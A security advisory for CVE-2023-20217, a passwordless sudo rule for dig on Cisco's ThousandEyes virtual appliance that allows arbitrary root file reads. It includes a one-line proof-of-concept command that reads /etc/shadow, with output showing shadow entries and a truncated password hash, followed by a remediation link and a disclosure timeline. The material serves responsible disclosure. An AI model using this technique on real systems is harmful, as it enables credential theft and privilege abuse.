Skip to main content
Security Advisory

Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig

Advisory ID
KL-001-2023-001
Published
2023-08-17
Vendor
Cisco

Affected Systems

Product
ThousandEyes Enterprise Agent Virtual Appliance
Version
thousandeyes-va-64-18.04 0.218
Platform
Linux / Ubuntu 18.04

Discovered By

Jim Becher, Hank Leininger (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Cisco
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
Affected Version: thousandeyes-va-64-18.04 0.218
Platform: Linux / Ubuntu 18.04
CWE Classification: CWE-250: Execution with Unnecessary Privileges, CWE-1220: Insufficient Granularity of Access Control
CVE ID: CVE-2023-20217

Vulnerability Description

An insecure sudo configuration permits a low-privilege user to read root-only files via the ‘dig’ command without a password.

Technical Description

The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the ‘thousandeyes’ account. However, the ability to execute dig via sudo, allows for reading of arbitrary files using dig’s “batch” mode. This mode allows a user to specify a file of requests, one per line. The dig command will read the file with elevated privileges and display the resulting queries (i.e. file contents) back to the user.

  thousandeyes@thousandeyes-va:~$ id
  uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
  thousandeyes@thousandeyes-va:~$ sudo -l
  Matching Defaults entries for thousandeyes on thousandeyes-va:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User thousandeyes may run the following commands on thousandeyes-va:
      (ALL : ALL) ALL
      (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
          te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
          te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
          /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
          te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
      (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that dig is available as root with no password,
and no restrictions on the arguments it can be passed.

  thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow

  ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7:::
  ;; global options: +cmd
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 65494
  ;; QUESTION SECTION:
  ;root:!:19145:0:99999:7:::.	IN	A

  ;; Query time: 0 msec
  ;; SERVER: 127.0.0.53#53(127.0.0.53)
  ;; WHEN: Fri Mar 31 08:00:38 UTC 2023
  ;; MSG SIZE  rcvd: 54

  ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7:::
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 65494
  ;; QUESTION SECTION:
  ;daemon:!*:18885:0:99999:7:::.	IN	A
  ...
  ;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb...
  ...

Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E

Credit

This vulnerability was discovered by Jim Becher and Hank Leininger of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2023 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Disclosure Timeline

KoreLogic submits vulnerability details to Cisco.

Cisco acknowledges receipt and the intention to investigate.

Cisco notifies KoreLogic that a remediation for this vulnerability is expected to be available within 90 days.

45 business days have elapsed since KoreLogic reported this vulnerability to the vendor.

Cisco informs KoreLogic that the issue has been remediated in the latest ThousandEyes Virtual Appliance and a public advisory will be released

60 business days have elapsed since KoreLogic reported this vulnerability to the vendor.

Cisco provides KoreLogic with CVE-2023-20217 to track this vulnerability.

Cisco public acknowledgement.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable